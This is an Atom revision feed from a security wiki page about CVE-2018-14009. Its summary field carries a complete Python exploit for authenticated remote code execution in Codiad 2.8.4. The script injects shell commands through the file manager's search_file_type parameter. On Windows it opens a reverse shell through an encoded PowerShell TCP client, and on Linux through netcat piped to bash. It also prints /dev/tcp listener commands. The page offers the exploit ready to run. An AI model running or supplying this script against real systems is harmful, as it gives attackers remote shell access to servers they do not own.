<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-14009_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-14009 Codiad 2.8.4 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-14009_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-14009_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T08:42:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-14009_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1252&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) # Discovery by: WangYihang # Vendor Homepage: http://codiad.com/ # Software Links : https:/...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-14009_Codiad_2.8.4_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1252&amp;oldid=prev"/>
		<updated>2021-04-08T09:09:30Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) # Discovery by: WangYihang # Vendor Homepage: http://codiad.com/ # Software Links : https:/...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Discovery by: WangYihang&lt;br /&gt;
# Vendor Homepage: http://codiad.com/&lt;br /&gt;
# Software Links : https://github.com/Codiad/Codiad/releases&lt;br /&gt;
# Tested Version: Version: 2.8.4&lt;br /&gt;
# CVE: CVE-2018-14009&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# encoding: utf-8&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import json&lt;br /&gt;
import base64&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
def login(domain, username, password):&lt;br /&gt;
    global session&lt;br /&gt;
    url = domain + &amp;quot;/components/user/controller.php?action=authenticate&amp;quot;&lt;br /&gt;
    data = {&lt;br /&gt;
        &amp;quot;username&amp;quot;: username,&lt;br /&gt;
        &amp;quot;password&amp;quot;: password,&lt;br /&gt;
        &amp;quot;theme&amp;quot;: &amp;quot;default&amp;quot;,&lt;br /&gt;
        &amp;quot;language&amp;quot;: &amp;quot;en&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
    response = session.post(url, data=data, verify=False)&lt;br /&gt;
    content = response.text&lt;br /&gt;
    print(&amp;quot;[+] Login Content : %s&amp;quot; % (content))&lt;br /&gt;
    if 'status&amp;quot;:&amp;quot;success&amp;quot;' in content:&lt;br /&gt;
        return True&lt;br /&gt;
def get_write_able_path(domain):&lt;br /&gt;
    global session&lt;br /&gt;
    url = domain + &amp;quot;/components/project/controller.php?action=get_current&amp;quot;&lt;br /&gt;
    response = session.get(url, verify=False)&lt;br /&gt;
    content = response.text&lt;br /&gt;
    print(&amp;quot;[+] Path Content : %s&amp;quot; % (content))&lt;br /&gt;
    json_obj = json.loads(content)&lt;br /&gt;
    if json_obj['status'] == &amp;quot;success&amp;quot;:&lt;br /&gt;
        return json_obj['data']['path']&lt;br /&gt;
    else:&lt;br /&gt;
        return False&lt;br /&gt;
def base64_encode_2_bytes(host, port):&lt;br /&gt;
    payload = '''&lt;br /&gt;
    $client = New-Object System.Net.Sockets.TCPClient(&amp;quot;__HOST__&amp;quot;,__PORT__);&lt;br /&gt;
    $stream = $client.GetStream();&lt;br /&gt;
    [byte[]]$bytes = 0..255|%{0};&lt;br /&gt;
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $stream.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
        $stream.Flush();&lt;br /&gt;
    }&lt;br /&gt;
    $client.Close();&lt;br /&gt;
    '''&lt;br /&gt;
    result = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in payload.replace(&amp;quot;__HOST__&amp;quot;, host).replace(&amp;quot;__PORT__&amp;quot;, str(port)):&lt;br /&gt;
        result += i + &amp;quot;\x00&amp;quot;&lt;br /&gt;
    return base64.b64encode(result.encode()).decode().replace(&amp;quot;\n&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
def build_powershell_payload(host, port):&lt;br /&gt;
    preffix = &amp;quot;powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc &amp;quot;&lt;br /&gt;
    return preffix + base64_encode_2_bytes(host, port).replace(&amp;quot;+&amp;quot;, &amp;quot;%2b&amp;quot;)&lt;br /&gt;
def exploit(domain, username, password, host, port, path, platform):&lt;br /&gt;
    global session&lt;br /&gt;
    url = domain + \&lt;br /&gt;
        &amp;quot;components/filemanager/controller.php?type=1&amp;amp;action=search&amp;amp;path=%s&amp;quot; % (&lt;br /&gt;
            path)&lt;br /&gt;
    if platform.lower().startswith(&amp;quot;win&amp;quot;):&lt;br /&gt;
        # new version escapeshellarg&lt;br /&gt;
        # escapeshellarg on windows will quote the arg with &amp;quot;&amp;quot;&lt;br /&gt;
        # so we need to try twice&lt;br /&gt;
        payload = '||%s||' % (build_powershell_payload(host, port))&lt;br /&gt;
        payload = &amp;quot;search_string=Hacker&amp;amp;search_file_type=&amp;quot; + payload&lt;br /&gt;
        headers = {&lt;br /&gt;
            &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;}&lt;br /&gt;
        response = session.post(url, data=payload, headers=headers, verify=False)&lt;br /&gt;
        content = response.text&lt;br /&gt;
        print(content)&lt;br /&gt;
        # old version escapeshellarg&lt;br /&gt;
        payload = '%%22||%s||' % (build_powershell_payload(host, port))&lt;br /&gt;
        payload = &amp;quot;search_string=Hacker&amp;amp;search_file_type=&amp;quot; + payload&lt;br /&gt;
        headers = {&lt;br /&gt;
            &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;}&lt;br /&gt;
        response = session.post(url, data=payload, headers=headers, verify=False)&lt;br /&gt;
        content = response.text&lt;br /&gt;
        print(content)&lt;br /&gt;
    else:&lt;br /&gt;
        # payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F''' + host + '''%2F''' + port + '''+0%3E%261'%0Agrep+%22SniperOJ'''&lt;br /&gt;
        payload = '&amp;quot;%%0Anc %s %d|/bin/bash %%23' % (host, port)&lt;br /&gt;
        payload = &amp;quot;search_string=Hacker&amp;amp;search_file_type=&amp;quot; + payload&lt;br /&gt;
        headers = {&lt;br /&gt;
            &amp;quot;Content-Type&amp;quot;: &amp;quot;application/x-www-form-urlencoded; charset=UTF-8&amp;quot;}&lt;br /&gt;
        response = session.post(url, data=payload, headers=headers, verify=False)&lt;br /&gt;
        content = response.text&lt;br /&gt;
        print(content)&lt;br /&gt;
def promote_yes(hint):&lt;br /&gt;
    print(hint)&lt;br /&gt;
    while True:&lt;br /&gt;
        ans = input(&amp;quot;[Y/n] &amp;quot;).lower()&lt;br /&gt;
        if ans == 'n':&lt;br /&gt;
            return False&lt;br /&gt;
        elif ans == 'y':&lt;br /&gt;
            return True&lt;br /&gt;
        else:&lt;br /&gt;
            print(&amp;quot;Incorrect input&amp;quot;)&lt;br /&gt;
def main():&lt;br /&gt;
    if len(sys.argv) != 7:&lt;br /&gt;
        print(&amp;quot;Usage : &amp;quot;)&lt;br /&gt;
        print(&amp;quot;        python %s [URL] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]&amp;quot; % (sys.argv[0]))&lt;br /&gt;
        print(&amp;quot;        python %s [URL:PORT] [USERNAME] [PASSWORD] [IP] [PORT] [PLATFORM]&amp;quot; % (sys.argv[0]))&lt;br /&gt;
        print(&amp;quot;Example : &amp;quot;)&lt;br /&gt;
        print(&amp;quot;        python %s http://localhost/ admin admin 8.8.8.8 8888 linux&amp;quot; % (sys.argv[0]))&lt;br /&gt;
        print(&amp;quot;        python %s http://localhost:8080/ admin admin 8.8.8.8 8888 windows&amp;quot; % (sys.argv[0]))&lt;br /&gt;
        print(&amp;quot;Author : &amp;quot;)&lt;br /&gt;
        print(&amp;quot;        WangYihang &amp;lt;wangyihanger@gmail.com&amp;gt;&amp;quot;)&lt;br /&gt;
        exit(1)&lt;br /&gt;
    domain = sys.argv[1]&lt;br /&gt;
    username = sys.argv[2]&lt;br /&gt;
    password = sys.argv[3]&lt;br /&gt;
    host = sys.argv[4]&lt;br /&gt;
    port = int(sys.argv[5])&lt;br /&gt;
    platform = sys.argv[6]&lt;br /&gt;
    if platform.lower().startswith(&amp;quot;win&amp;quot;):&lt;br /&gt;
        print(&amp;quot;[+] Please execute the following command on your vps: &amp;quot;)&lt;br /&gt;
        print(&amp;quot;nc -lnvp %d&amp;quot; % (port))&lt;br /&gt;
        if not promote_yes(&amp;quot;[+] Please confirm that you have done the two command above [y/n]&amp;quot;):&lt;br /&gt;
            exit(1)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;[+] Please execute the following command on your vps: &amp;quot;)&lt;br /&gt;
        print(&amp;quot;echo 'bash -c \&amp;quot;bash -i &amp;gt;/dev/tcp/%s/%d 0&amp;gt;&amp;amp;1 2&amp;gt;&amp;amp;1\&amp;quot;' | nc -lnvp %d&amp;quot; % (host, port + 1, port))&lt;br /&gt;
        print(&amp;quot;nc -lnvp %d&amp;quot; % (port + 1))&lt;br /&gt;
        if not promote_yes(&amp;quot;[+] Please confirm that you have done the two command above [y/n]&amp;quot;):&lt;br /&gt;
            exit(1)&lt;br /&gt;
    print(&amp;quot;[+] Starting...&amp;quot;)&lt;br /&gt;
    if not login(domain, username, password):&lt;br /&gt;
        print(&amp;quot;[-] Login failed! Please check your username and password.&amp;quot;)&lt;br /&gt;
        exit(2)&lt;br /&gt;
    print(&amp;quot;[+] Login success!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;[+] Getting writeable path...&amp;quot;)&lt;br /&gt;
    path = get_write_able_path(domain)&lt;br /&gt;
    if path == False:&lt;br /&gt;
        print(&amp;quot;[+] Get current path error!&amp;quot;)&lt;br /&gt;
        exit(3)&lt;br /&gt;
    print(&amp;quot;[+] Writeable Path : %s&amp;quot; % (path))&lt;br /&gt;
    print(&amp;quot;[+] Sending payload...&amp;quot;)&lt;br /&gt;
    exploit(domain, username, password, host, port, path, platform)&lt;br /&gt;
    print(&amp;quot;[+] Exploit finished!&amp;quot;)&lt;br /&gt;
    print(&amp;quot;[+] Enjoy your reverse shell!&amp;quot;)&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>